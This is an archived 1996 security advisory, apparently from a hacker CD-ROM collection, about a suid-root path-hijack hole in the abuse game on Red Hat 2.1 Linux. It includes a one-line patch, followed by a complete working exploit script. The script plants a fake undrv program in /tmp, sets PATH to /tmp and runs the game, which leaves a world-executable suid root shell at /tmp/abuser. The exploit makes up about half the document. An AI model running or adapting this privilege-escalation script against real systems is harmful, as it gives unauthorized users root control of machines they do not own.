home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_ab.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  2.5 KB  |  73 lines

  1.  
  2.    There is a security hole in RedHat 2.1, which installs the game abuse,
  3. /usr/lib/games/abuse/abuse.console suid root.  The abuse.console program
  4. loads its files without absolute pathnames, assuming the user is running
  5. abuse from the /usr/lib/games/abuse directory.  One of these files in the
  6. undrv program, which abuse executes as root.  If the user is not in the
  7. abuse directory when running this, an arbitrary program can be substituted
  8. for undrv, allowing the user to execute arbitrary commands as root.
  9.    If abuse.console needs to be run by users other than root at the console,
  10. provisions need to be made in the code to not execute or load any files
  11. as root.
  12.  
  13.                    Program: /usr/lib/games/abuse/abuse.console suid root
  14. Affected Operating Systems: Red Hat 2.1 linux distribution
  15.               Requirements: account on system
  16.                      Patch: chmod -s /usr/lib/games/abuse/abuse.console
  17.        Security Compromise: root
  18.                     Author: Dave M. (davem@cmu.edu)
  19.                   Synopsis: abuse.console runs undrv without an absolute
  20.                             pathname while executing as root, allowing
  21.                             a user to substitute the real undrv with
  22.                             an arbitrary program.
  23.  
  24. Exploit:
  25. #!/bin/sh
  26. #
  27. # abuser.sh
  28. # exploits a security hole in abuse to create
  29. # a suid root shell /tmp/abuser on a linux
  30. # Red Hat 2.1 system with the games package
  31. # installed.
  32. #
  33. # For release 2/2/96 - 1 drink credit please.
  34. #
  35. # by Dave M. (davem@cmu.edu)
  36. #
  37. echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
  38. echo ================ Checking system vulnerability
  39. if test -u /usr/lib/games/abuse/abuse.console
  40. then
  41. echo ++++++++++++++++ System appears vulnerable.
  42. cd /tmp
  43. cat << _EOF_ > /tmp/undrv
  44. #!/bin/sh
  45. /bin/cp /bin/sh /tmp/abuser
  46. /bin/chmod 4777 /tmp/abuser
  47. _EOF_
  48. cat << _EOF_ >> /tmp/the_wall
  49. so ya thought ya might like to go to the show
  50. to feel the warm thrill of confusion that space cadet glow
  51. tell me is something eluding you sunshine?
  52. is this not what you expected to see?
  53. if you wanna find out what's behind these cold eyes
  54. you'll just have to claw your way through this disguise
  55. _EOF_
  56. chmod +x /tmp/undrv
  57. PATH=/tmp
  58. echo ================ Executing Abuse
  59. /usr/lib/games/abuse/abuse.console
  60. /bin/rm /tmp/undrv
  61. /bin/rm /tmp/the_wall
  62. if test -u /tmp/abuser
  63. then
  64. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
  65. else
  66. echo ---------------- Exploit failed
  67. fi
  68. else
  69. echo ---------------- This machine does not appear to be vulnerable.
  70. fi
  71.  
  72.  
  73.